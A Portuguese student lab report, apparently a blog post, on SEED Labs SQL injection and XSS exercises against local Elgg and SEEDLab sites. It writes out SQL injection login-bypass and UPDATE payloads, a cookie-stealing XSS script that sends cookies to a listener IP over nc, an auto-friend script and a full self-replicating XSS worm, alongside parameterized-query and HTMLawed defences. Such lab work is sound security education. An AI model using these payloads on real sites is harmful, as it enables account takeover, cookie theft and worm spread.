Prática de Ataque e Defesa em Redes - Relatório da Prática 10

Conteúdo da Prática

1.1 Conteúdo do Experimento

Ataque e Defesa de Injeção SQL:
- Familiarização com instruções SQL e revisão de sintaxe.
- Injeção SELECT: Exploita vulnerabilidades de validação de entrada em aplicações web para construir instruções maliciosas que contornam a autenticação e acessam o sistema ilegalmente.
- Injeção UPDATE: Utiliza uma interface de modificação de perfil para injetar instruções SQL que alteram dados pessoais no banco de dados.
- Confronto com Vulnerabilidades: Corrige falhas no código para prevenir ataques de injeção SQL.
Experimento de Ataque por Script Cross-Site (XSS):
- Ataque Básico: Insere scripts JS no perfil do Elgg para exibir pop-ups, mostrar e roubar cookies de usuários.
- Adicionar Amigos Automaticamente: Explora vulnerabilidades XSS para adicionar amigos automaticamente e modificar perfis de vítimas.
- Criar um XSS Worm: Desenvolve um script malicioso auto-replicante que se espalha entre usuários ao visitarem páginas infectadas.
- Defesa contra XSS: Habilita plugins de filtragem segura e escapa entradas de usuários para proteger contra ataques XSS.

1.2 Resumo de Conceitos

Injeção SQL: Insere instruções SQL maliciosas em campos de entrada do usuário, fazendo com que o backend as execute diretamente, realizando diversos tipos de ataques. A essência é a falta de separação entre dados e código.
Consulta Parametrizada: Usa prepare+bind_param para separar sintaxe SQL dos dados do usuário, tratando entradas apanas como dados, sendo a defesa principal contra injeção SQL.
XSS Cross-Site Scripting: Injeta scripts JS maliciosos em páginas web, executados no navegador do usuário, permitindo roubo de informações, controle de operações e propagação de worms.
XSS Armazenado: Scripts maliciosos são armazenados permanentemente no banco de dados, disparando ataques a todos os usuários que acessam a página.
XSS Worm: Scripts XSS com capacidade de auto-replicação que alteram perfis de vítimas e inserem seu próprio código, resultando em propagação encadeada onde cada acesso gera nova infecção.
Plugin HTMLawed: Plugin de segurança integrado ao Elgg que filtra e purifica conteúdo HTML fornecido pelo usuário, removendo tags perigosas como script, sendo ferramenta-chave na defesa contra XSS armazenado.

Processo da Prática

Primeiramente, instalei a máquina virtual SEEDUbuntu 16.04 32-bit conforme requisitos do experimento. Utilizei o comando su - para mudar para o usuário root e hostname 2908Sxl para definir temporariamente o nome do host. Para atender aos requisitos de nomenclatura, naveguei até o diretório /var/www/SQLInjection/. Feito isso, realizei backup dos arquivos: ```

cp unsafe_home.php unsafe_home.php.bak cp unsafe_edit_backend.php unsafe_edit_backend.php.bak


Em seguida, renomeei os arquivos backend, acrescentando meu número de matrícula para evitar interferência no ambiente alvo: ```

mv unsafe_home.php 2908Sxl_unsafe_home.php
mv unsafe_edit_backend.php 2908Sxl_unsafe_edit_backend.php

Finalmente, modifiquei os formulários frontend para direcioná-los para os novos arquivos renomeados: ```

sed -i 's/action="unsafe_home.php"/action="2908Sxl_unsafe_home.php"/g' index.html sed -i 's/action="unsafe_edit_backend.php"/action="2908Sxl_unsafe_edit_backend.php"/g' unsafe_edit_frontend.php


### 2.1 Expreimento de Injeção SQL com SEED

Acessei o MySQL com o comando `mysql -u root -p`, usando a senha padrão `seedubuntu`. Listei os bancos de dados com `show databases;` e selecionei o banco `Users` com `use Users;`. Exibi as tabelas do banco com `show tables;` e encontrei a tabela `credential`. Visualizei os registros da tabela com `select * from credential;`, que contém informações pessoais de funcionários. Consultei um registro específico com `select * from credential where Name = 'Alice';`. #### 2.1.1 Ataque por Injeção SQL na Declaração SELECT

Acessei o site experimental `www.SEEDLabSQLInjection.com`. Inspecionei o código fonte da página para identificar a URL de login, que usa GET para `2908Sxl_unsafe_home.php`. Abri o arquivo PHP `/var/www/SQLInjection/2908Sxl_unsafe_home.php` para procurar possíveis vulnerabilidades de injeção SQL. Encontrei a linha: ```

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";

Onde $input_uname vem diretamente dos parâmetros GET do usuário sem nenhum tipo de filtro ou escape. Assim, um atacante pode construir valores de username especiais para fechar aspas simples e injetar SQL malicioso. Exemplos de payloads: - Username: admin' OR '1'='1, Password: qualquer valor.

Username: admin' #, Password: vazio ou qualquer valor.

2.1.2 Ataque por Injeção SQL na Declaração UPDATE

Usando a injeção anterior, entrei na conta de Alice. No formulário de edição, apenas campos como Nickname e Email podem ser alterados por usuários comuns. Inspecionei o código fonte da página e abri o arquivo backend /var/www/SQLInjection/2908Sxl_unsafe_edit_backend.php. Identifiquei a linha: ```

$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";


Onde variáveis como `$input_nickname`, `$input_email`, etc., são inseridas diretamente na consulta SQL sem tratamento algum. Portanto, um atacante pode injetar códigos maliciosos, como `',salary=20252908#`, no campo Nickname para alterar o salário de Alice. Corrigi a injeção adicionando a condição correta: ```

',salary=99999 where name='Alice'#'

2.1.3 Confronto com Injeção SQL

**1. Para a declaração SELECT:**Modifiquei o arquivo /var/www/SQLInjection/2908Sxl_unsafe_home.php para usar consultas parametrizadas: ```

$stmt = $conn->prepare( "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name = ? AND Password = ?" ); $stmt->bind_param("ss", $input_uname, $hashed_pwd); $stmt->execute(); $result = $stmt->get_result();


**2. Para a declaração UPDATE:**Modifiquei o arquivo `/var/www/SQLInjection/2908Sxl_unsafe_edit_backend.php`: ```

if($input_pwd!=''){
    $hashed_pwd = sha1($input_pwd);
    $_SESSION['pwd']=$hashed_pwd;
    $stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? WHERE ID=?");
    $stmt->bind_param("sssssi", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber, $id);
    $stmt->execute();
}else{
    $stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? WHERE ID=?");
    $stmt->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
    $stmt->execute();
}

2.2 Experimento de Ataque por Script Cross-Site (XSS) com SEED (Elgg)

2.2.1 Publicar Mensagem Maliciosa, Mostrar Janela de Alerta

Loguei na plataforma Elgg local http://www.xsslabelgg.com com a conta Alice. No campo Brief description, inseri: ```


Ao salvar, uma janela de alerta apareceu, demonstrando sucesso no ataque. #### 2.2.2 Exibir Cookies no Alerta

Substitui o código por: ```

<script>alert(document.cookie);</script>

Salvei e uma janela mostrou os cookies do usuário. #### 2.2.3 Roubar Cookies dos Vítimas

Configurei um servidor de escuta na minha máquina: ```

nc -l 5555 -v


Criei um payload XSS para roubar cookies: ```

<script>
    document.write('<img src="http://192.168.32.9:5555?host=cy&c='+escape(document.cookie)+'">');
</script>

2.2.4 Tornar-se Amigo da Vítima

Analisando o tráfego da rede ao adicionar Boby como amigo, identifiquei a URL e parâmetros necessários: ```

http://www.xsslabelgg.com/action/friends/add?friend=44&__elgg_ts=X&__elgg_token=Y


Criei um script para adicionar Alice como amigo automaticamente: ```

<script> 
    window.onload = function() {
        var friend_guid = 44; 
        var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
        var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
        var url = "http://www.xsslabelgg.com/action/friends/add?friend=" + friend_guid + ts + token;
        var xhr = new XMLHttpRequest();
        xhr.open("GET", url, true);
        xhr.send();
    }; 
</script>

2.2.5 Modificar Informações da Vítima

Criei um script para modificar informações do perfil da vítima: ```


#### 2.2.6 Criar um XSS Worm

Desenvolvi um script XSS auto-replicante: ```

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id='worm' type='text/javascript'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    var guid = "&guid="+elgg.session.user.guid;
    var ts = "&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token = "&__elgg_token="+elgg.security.token.__elgg_token;
    var msg = "Você foi atacado pelo worm 2908Sxl<br>";
    var description = msg + wormCode;
    var content = token + ts 
        + "&description=" + encodeURIComponent(msg) + wormCode
        + "&accesslevel[description]=2"
        + guid;

    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    var aliceId = 44;
    if(elgg.session.user.guid != aliceId){
        var xhr = new XMLHttpRequest();
        xhr.open("POST", sendurl, true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.send(content);
    }

}
</script>

2.2.7 Defesa contra XSS

Habilitado o plugin HTMLawed no painel de administração do Elgg para filtrar conteúdo HTML fornecido pelos usuários. Problemas Encontrados e Soluções

Problema 1: Ao criar o XSS worm, esqueci de excluir a ID de Alice (44), causando sua própria página ser modificada e interrompendo a propagação. Solução: Adicionei uma verificação no início do script para sair caso o GUID seja igual a 44. ```

var aliceId = 44; if(elgg.session.user.guid == aliceId) { return; }


Resumo
------

Esta prática concluiu os experimentos de ataque e defesa contra injeção SQL e XSS, proporcionando uma compreensão profunda sobre a importância de filtros de entrada em aplicações web. Falhas de validação permitem que atacantes facilmente manipulem sistemas, subtraindo credenciais e realizando outras operações indesejadas. É crucial manter cautela e atenção aos detalhes na implementação de medidas de segurança. Durante a prática, cometi alguns erros, como esquecer de terminar instruções SQL com ponto-e-vírgula e omitir condições de usuário nas injeções UDPATE, resultando em modificações incorretas. Também tive dificuldades na criação do XSS worm devido à falta de filtragem da própria conta. Este experimento demonstrou que compreender os métodos de ataque é essencial para desenvolver defesas eficazes. </div>

Tags: SQLInjection XSS Elgg SegurançaWeb

Publicado em 9-6 05:41

Doido Dev